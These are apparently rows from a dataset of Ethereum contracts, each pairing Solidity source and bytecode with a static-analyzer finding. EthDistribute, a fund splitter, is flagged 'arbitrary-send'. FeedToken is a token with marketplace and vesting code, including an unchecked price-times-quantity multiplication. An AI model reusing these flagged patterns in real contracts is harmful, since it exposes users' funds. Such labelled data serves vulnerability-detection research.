7265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b613972816133e8565b811461397d57600080fd5b50565b613989816133fa565b811461399457600080fd5b50565b6139a081613426565b81146139ab57600080fd5b5056fea264697066735822122023a463bde5711989fc373629f52814384b436278d13a607517317133abe3527164736f6c63430008010033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,130 |
0x94f258ca9226a093cd948ab2a37d75c3b35c258c
|
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// solhint-disable no-empty-blocks, avoid-low-level-calls
contract EthDistribute is Ownable {
using SafeMath for uint256;
address payable private _marketingWallet;
address payable private _devWallet;
address payable private _treasuryWallet;
uint256 private _marketingShare = 40;
uint256 private _devShare = 10;
uint256 private _treasuryShare = 50;
constructor(
address payable marketingWallet_,
address payable devWallet_,
address payable treasuryWallet_
) {
_marketingWallet = marketingWallet_;
_devWallet = devWallet_;
_treasuryWallet = treasuryWallet_;
}
fallback() external payable {}
receive() external payable {}
function claim() external {
uint256 startingBalance = address(this).balance;
(bool marketingSent, ) = _marketingWallet.call{value: startingBalance.mul(_marketingShare).div(100)}("");
(bool devSent, ) = _devWallet.call{value: startingBalance.mul(_devShare).div(100)}("");
(bool treasurySent, ) = _treasuryWallet.call{value: startingBalance.mul(_treasuryShare).div(100)}("");
require(marketingSent && devSent && treasurySent, "Send failed");
}
function setMarketingWallet(address payable account) external onlyOwner {
require(account != address(0), "Cannot be 0 address");
_marketingWallet = account;
}
function setDevWallet(address payable account) external onlyOwner {
require(account != address(0), "Cannot be 0 address");
_devWallet = account;
}
function setTreasuryWallet(address payable account) external onlyOwner {
require(account != address(0), "Cannot be 0 address");
_treasuryWallet = account;
}
function setNewShares(uint256 marketingShare, uint256 devShare, uint256 treasuryShare) external onlyOwner {
require(
marketingShare.add(devShare).add(treasuryShare) == 100, "Does not add up to 100"
);
_marketingShare = marketingShare;
_devShare = devShare;
_treasuryShare = treasuryShare;
}
function getWallets() external view returns (address, address, address) {
return (_marketingWallet, _devWallet, _treasuryWallet);
}
function getShare() external view returns (uint256, uint256, uint256) {
return (_marketingShare, _devShare, _treasuryShare);
}
}
|
0x6080604052600436106100955760003560e01c8063752987341161005957806375298734146101475780638da5cb5b14610174578063a8602fea1461019f578063db7a4605146101c8578063f2fde38b146101f55761009c565b80631f53ac021461009e5780634e71d92d146100c75780635d098b38146100de5780636686786614610107578063715018a6146101305761009c565b3661009c57005b005b3480156100aa57600080fd5b506100c560048036038101906100c09190610cd8565b61021e565b005b3480156100d357600080fd5b506100dc61034e565b005b3480156100ea57600080fd5b5061010560048036038101906101009190610cd8565b6105ca565b005b34801561011357600080fd5b5061012e60048036038101906101299190610d01565b6106fa565b005b34801561013c57600080fd5b506101456107f7565b005b34801561015357600080fd5b5061015c61087f565b60405161016b93929190610ff5565b60405180910390f35b34801561018057600080fd5b50610189610898565b6040516101969190610f03565b60405180910390f35b3480156101ab57600080fd5b506101c660048036038101906101c19190610cd8565b6108c1565b005b3480156101d457600080fd5b506101dd6109f1565b6040516101ec93929190610f1e565b60405180910390f35b34801561020157600080fd5b5061021c60048036038101906102179190610caf565b610a6a565b005b610226610b62565b73ffffffffffffffffffffffffffffffffffffffff16610244610898565b73ffffffffffffffffffffffffffffffffffffffff161461029a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161029190610f75565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561030a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161030190610fb5565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60004790506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166103b660646103a860045486610b6a90919063ffffffff16565b610b8090919063ffffffff16565b6040516103c290610eee565b60006040518083038185875af1925050503d80600081146103ff576040519150601f19603f3d011682016040523d82523d6000602084013e610404565b606091505b505090506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661046b606461045d60055487610b6a90919063ffffffff16565b610b8090919063ffffffff16565b60405161047790610eee565b60006040518083038185875af1925050503d80600081146104b4576040519150601f19603f3d011682016040523d82523d6000602084013e6104b9565b606091505b505090506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610520606461051260065488610b6a90919063ffffffff16565b610b8090919063ffffffff16565b60405161052c90610eee565b60006040518083038185875af1925050503d8060008114610569576040519150601f19603f3d011682016040523d82523d6000602084013e61056e565b606091505b5050905082801561057c5750815b80156105855750805b6105c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bb90610fd5565b60405180910390fd5b50505050565b6105d2610b62565b73ffffffffffffffffffffffffffffffffffffffff166105f0610898565b73ffffffffffffffffffffffffffffffffffffffff1614610646576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063d90610f75565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156106b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ad90610fb5565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610702610b62565b73ffffffffffffffffffffffffffffffffffffffff16610720610898565b73ffffffffffffffffffffffffffffffffffffffff1614610776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076d90610f75565b60405180910390fd5b606461079d8261078f8587610b9690919063ffffffff16565b610b9690919063ffffffff16565b146107dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d490610f95565b60405180910390fd5b826004819055508160058190555080600681905550505050565b6107ff610b62565b73ffffffffffffffffffffffffffffffffffffffff1661081d610898565b73ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90610f75565b60405180910390fd5b61087d6000610bac565b565b6000806000600454600554600654925092509250909192565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6108c9610b62565b73ffffffffffffffffffffffffffffffffffffffff166108e7610898565b73ffffffffffffffffffffffffffffffffffffffff161461093d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093490610f75565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a490610fb5565b60405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16925092509250909192565b610a72610b62565b73ffffffffffffffffffffffffffffffffffffffff16610a90610898565b73ffffffffffffffffffffffffffffffffffffffff1614610ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610add90610f75565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4d90610f55565b60405180910390fd5b610b5f81610bac565b50565b600033905090565b60008183610b7891906110cf565b905092915050565b60008183610b8e919061109e565b905092915050565b60008183610ba49190611048565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081359050610c7f816111d5565b92915050565b600081359050610c94816111ec565b92915050565b600081359050610ca981611203565b92915050565b600060208284031215610cc157600080fd5b6000610ccf84828501610c70565b91505092915050565b600060208284031215610cea57600080fd5b6000610cf884828501610c85565b91505092915050565b600080600060608486031215610d1657600080fd5b6000610d2486828701610c9a565b9350506020610d3586828701610c9a565b9250506040610d4686828701610c9a565b9150509250925092565b610d5981611129565b82525050565b6000610d6c602683611037565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610dd2602083611037565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000610e12601683611037565b91507f446f6573206e6f742061646420757020746f20313030000000000000000000006000830152602082019050919050565b6000610e52601383611037565b91507f43616e6e6f7420626520302061646472657373000000000000000000000000006000830152602082019050919050565b6000610e92600b83611037565b91507f53656e64206661696c65640000000000000000000000000000000000000000006000830152602082019050919050565b6000610ed260008361102c565b9150600082019050919050565b610ee88161116d565b82525050565b6000610ef982610ec5565b9150819050919050565b6000602082019050610f186000830184610d50565b92915050565b6000606082019050610f336000830186610d50565b610f406020830185610d50565b610f4d6040830184610d50565b949350505050565b60006020820190508181036000830152610f6e81610d5f565b9050919050565b60006020820190508181036000830152610f8e81610dc5565b9050919050565b60006020820190508181036000830152610fae81610e05565b9050919050565b60006020820190508181036000830152610fce81610e45565b9050919050565b60006020820190508181036000830152610fee81610e85565b9050919050565b600060608201905061100a6000830186610edf565b6110176020830185610edf565b6110246040830184610edf565b949350505050565b600081905092915050565b600082825260208201905092915050565b60006110538261116d565b915061105e8361116d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561109357611092611177565b5b828201905092915050565b60006110a98261116d565b91506110b48361116d565b9250826110c4576110c36111a6565b5b828204905092915050565b60006110da8261116d565b91506110e58361116d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561111e5761111d611177565b5b828202905092915050565b60006111348261114d565b9050919050565b60006111468261114d565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6111de81611129565b81146111e957600080fd5b50565b6111f58161113b565b811461120057600080fd5b50565b61120c8161116d565b811461121757600080fd5b5056fea26469706673582212207a4ed3ba66e25d6500fcdad90bf73ef1539870324d5360d10eef82594f6fb4f964736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,131 |
0x41f615e24fabd2b097a320e9e6c1f448cb40521c
|
pragma solidity 0.4.24;
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Buyers{
struct Buyer{
string name;
string country;
string city;
string b_address;
string mobile;
}
mapping(address=>Buyer) public registerbuyer;
event BuyerAdded(address from, string name,string country,string city,string b_address,string mobile);
function registerBuyer(string _name,string _country,string _city,string _address,string _mobile) public returns(bool){
require(bytes(_name).length!=0 &&
bytes(_country).length!=0 &&
bytes(_city).length!=0 &&
bytes(_address).length!=0 &&
bytes(_mobile).length!=0
);
registerbuyer[msg.sender]=Buyer(_name,_country,_city,_address,_mobile);
emit BuyerAdded(msg.sender,_name,_country,_city,_address,_mobile);
return true;
}
function getBuyer() public constant returns(string name,string country, string city,string _address,string mobile ){
return (registerbuyer[msg.sender].name,registerbuyer[msg.sender].country,registerbuyer[msg.sender].city,registerbuyer[msg.sender].b_address,registerbuyer[msg.sender].mobile);
}
function getBuyerbyaddress(address _useraddress) public constant returns(string name,string country, string city,string _address,string mobile ){
return (registerbuyer[_useraddress].name,registerbuyer[_useraddress].country,registerbuyer[_useraddress].city,registerbuyer[_useraddress].b_address,registerbuyer[_useraddress].mobile);
}
}
contract ProductsInterface {
struct Product { // Struct
uint256 id;
string name;
string image;
uint256 price;
string detail;
address _seller;
}
event ProductAdded(uint256 indexed id,address seller, string name,string image, uint256 price,string detail );
function addproduct(string _name,string _image,uint256 _price,string _detail) public returns (bool success);
function updateprice(uint _index, uint _price) public returns (bool success);
function getproduuct(uint _index) public constant returns(uint256 id,string name,string image,uint256 price,string detail, address _seller);
function getproductprices() public constant returns(uint256[]);
}
contract OrderInterface{
struct Order { // Struct
uint256 id;
uint256 quantity;
uint256 product_index;
uint256 price;
address buyer;
address seller;
uint256 status;
}
uint256 public order_counter;
mapping (uint => Order) public orders;
function placeorder( uint256 quantity,uint256 product_index) public returns(uint256);
event OrderPlace(uint256 indexed id, uint256 quantity,uint256 product_index,string name,address buyer, address seller );
}
contract FeedToken is ProductsInterface,OrderInterface, ERC20Interface,Ownable,Buyers {
using SafeMath for uint256;
//------------------------------------------------------------------------
uint256 public counter=0;
mapping (uint => Product) public seller_products;
mapping (uint => uint) public products_price;
mapping (address=> uint) public seller_total_products;
//------------------------------------------------------------------------
string public name;
string public symbol;
uint256 public decimals;
uint256 public _totalSupply;
uint256 order_counter=0;
mapping(address => uint256) tokenBalances;
address ownerWallet;
// Owner of account approves the transfer of an amount to another account
mapping (address => mapping (address => uint256)) allowed;
mapping (address=>uint) privateSaleBuyerTokens;
address[] privateSaleBuyers;
mapping (address=>uint) preSaleBuyerTokens;
address[] preSaleBuyers;
mapping(address=>uint) teamMembers;
uint privateSaleEndDate;
uint preSaleEndDate;
uint icoEndDate;
/**
* @dev Contructor that gives msg.sender all of existing tokens.
*/
constructor(address wallet) public {
owner = wallet;
name = "Feed";
symbol = "FEED";
decimals = 18;
_totalSupply = 1000000000 * 10 ** uint(decimals);
tokenBalances[ msg.sender] = _totalSupply; //Since we divided the token into 10^18 parts
}
// Get the token balance for account `tokenOwner`
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return tokenBalances[tokenOwner];
}
// Transfer the balance from owner's account to another account
function transfer(address to, uint tokens) public returns (bool success) {
require(to != address(0));
require(tokens <= tokenBalances[msg.sender]);
checkTokenVesting(msg.sender, tokens);
tokenBalances[msg.sender] = tokenBalances[msg.sender].sub(tokens);
tokenBalances[to] = tokenBalances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function checkUser() public constant returns(string ){
require(bytes(registerbuyer[msg.sender].name).length!=0);
return "Register User";
}
function checkTokenVesting(address sender, uint tokens) internal {
uint lockupTime;
uint daysPassedSinceEndDate;
uint lockedTokens;
if (preSaleBuyerTokens[sender] > 0 || privateSaleBuyerTokens[sender]>0 || teamMembers[sender]>0)
{
if (teamMembers[sender]>0)
{
lockupTime = uint(24).mul(uint(30)).mul(1 days);
if (now<icoEndDate.add(lockupTime))
{
lockedTokens = teamMembers[sender];
if (lockedTokens.add(tokens)>tokenBalances[sender])
revert();
}
}
else if (privateSaleBuyerTokens[sender]>0)
{
lockupTime = uint(12).mul(uint(30)).mul(1 days);
uint daysPassedSincePrivateSaleEnd = now.sub(privateSaleEndDate);
daysPassedSincePrivateSaleEnd = daysPassedSincePrivateSaleEnd.div(1 days);
uint monthsPassedSinceICOEnd = daysPassedSincePrivateSaleEnd.div(30);
uint unlockedTokens = privateSaleBuyerTokens[sender].div(12).mul(monthsPassedSinceICOEnd);
lockedTokens = privateSaleBuyerTokens[sender].sub(unlockedTokens);
if (lockedTokens.add(tokens)>tokenBalances[sender])
revert();
}
else if (preSaleBuyerTokens[sender]>0)
{
lockupTime = uint(3).mul(uint(30)).mul(1 days);
if (now<preSaleEndDate.add(lockupTime))
{
lockedTokens = preSaleBuyerTokens[sender];
if (lockedTokens.add(tokens)>tokenBalances[sender])
revert();
}
}
}
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= tokenBalances[_from]);
require(_value <= allowed[_from][msg.sender]);
checkTokenVesting(_from,_value);
tokenBalances[_from] = tokenBalances[_from].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - tokenBalances[address(0)];
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function placeorder( uint256 quantity,uint256 product_index) public returns(uint256) {
require(counter>=product_index && product_index>0);
require(bytes(registerbuyer[msg.sender].name).length!=0);//to place order you first register yourself
transfer(seller_products[product_index]._seller,seller_products[product_index].price*quantity);
orders[order_counter] = Order(order_counter,quantity,product_index,seller_products[product_index].price, msg.sender,seller_products[product_index]._seller,0);
emit OrderPlace(order_counter,quantity, product_index, seller_products[product_index].name, msg.sender, seller_products[product_index]._seller );
order_counter++;
return counter;
}
//------------------------------------------------------------------------
// product methods
//------------------------------------------------------------------------
function addproduct(string _name,string _image,uint256 _price,string _detail) public returns (bool success){
require(bytes(_name).length!=0 &&
bytes(_image).length!=0 &&
bytes(_detail).length!=0
);
counter++;
seller_products[counter] = Product(counter,_name,_image, _price,_detail,msg.sender);
products_price[counter]=_price;
emit ProductAdded(counter,msg.sender,_name,_image,_price,_detail);
return true;
}
function updateprice(uint _index, uint _price) public returns (bool success){
require(seller_products[_index]._seller==msg.sender);
seller_products[_index].price=_price;
products_price[_index]=_price;
return true;
}
function getproduuct(uint _index) public constant returns(uint256 ,string ,string ,uint256 ,string , address )
{
return(seller_products[_index].id,seller_products[_index].name,seller_products[_index].image,products_price[_index],seller_products[_index].detail,seller_products[_index]._seller);
}
function getproductprices() public constant returns(uint256[])
{
uint256[] memory price = new uint256[](counter);
for (uint i = 0; i <counter; i++) {
price[i]=products_price[i+1];
}
return price;
}
//------------------------------------------------------------------------
//end Products
//------------------------------------------------------------------------
function addPrivateSaleEndDate(uint256 endDate) public onlyOwner {
privateSaleEndDate = endDate;
}
function addPreSaleEndDate(uint256 endDate) public onlyOwner {
preSaleEndDate = endDate;
}
function addICOEndDate(uint256 endDate) public onlyOwner {
icoEndDate = endDate;
}
function addTeamAndAdvisoryMembers(address[] members) public onlyOwner
{
uint totalTeamShare = uint(100000000).mul(10**uint(decimals));
uint oneTeamMemberShare = totalTeamShare.div(members.length);
for (uint i=0;i<members.length;i++)
{
teamMembers[members[i]] = oneTeamMemberShare;
tokenBalances[owner] = tokenBalances[owner].sub(oneTeamMemberShare);
tokenBalances[members[i]] = tokenBalances[members[i]].add(oneTeamMemberShare);
emit Transfer(owner,members[i],oneTeamMemberShare);
}
}
function addPrivateSaleBuyer(address buyer,uint value) public onlyOwner
{
privateSaleBuyerTokens[buyer] = value;
}
function addPreSaleBuyer(address buyer,uint value) public onlyOwner
{
preSaleBuyerTokens[buyer] = value;
}
}
|
0x6080604052600436106101cc5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101d1578063095ea7b31461025b57806318160ddd146102935780631e7d84cb146102ba57806323b872dd1461043d578063313ce567146104675780633eaaf86b1461047c578063483fa94b146104915780634de8a799146104ac5780635d121289146104d25780635e2d8264146104ea578063603daf9a1461050b57806361bc221a1461073057806366188463146107455780636b2f9da3146107695780636d9af8131461078157806370a082311461079c57806378f1a5ce146107bd5780637c43791814610812578063877c3650146108365780638da5cb5b1461089b57806395d89b41146108cc578063a85c38ef146108e1578063a9059cbb1461093d578063b67d8c6914610961578063ba5b1dc114610976578063c15625471461098e578063c188f44b146109a3578063c641aaca14610a7e578063ccb12f0414610a96578063d0fb293f14610be7578063d73dd62314610c08578063d89be4b314610c2c578063dc39d06d14610c4d578063dd62ed3e14610c71578063e40d8fc314610c98578063f2fde38b14610cb0575b600080fd5b3480156101dd57600080fd5b506101e6610cd1565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610220578181015183820152602001610208565b50505050905090810190601f16801561024d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026757600080fd5b5061027f600160a060020a0360043516602435610d5f565b604080519115158252519081900360200190f35b34801561029f57600080fd5b506102a8610dc5565b60408051918252519081900360200190f35b3480156102c657600080fd5b506102d2600435610df8565b6040518087815260200180602001806020018681526020018060200185600160a060020a0316600160a060020a03168152602001848103845289818151815260200191508051906020019080838360005b8381101561033b578181015183820152602001610323565b50505050905090810190601f1680156103685780820380516001836020036101000a031916815260200191505b5084810383528851815288516020918201918a019080838360005b8381101561039b5781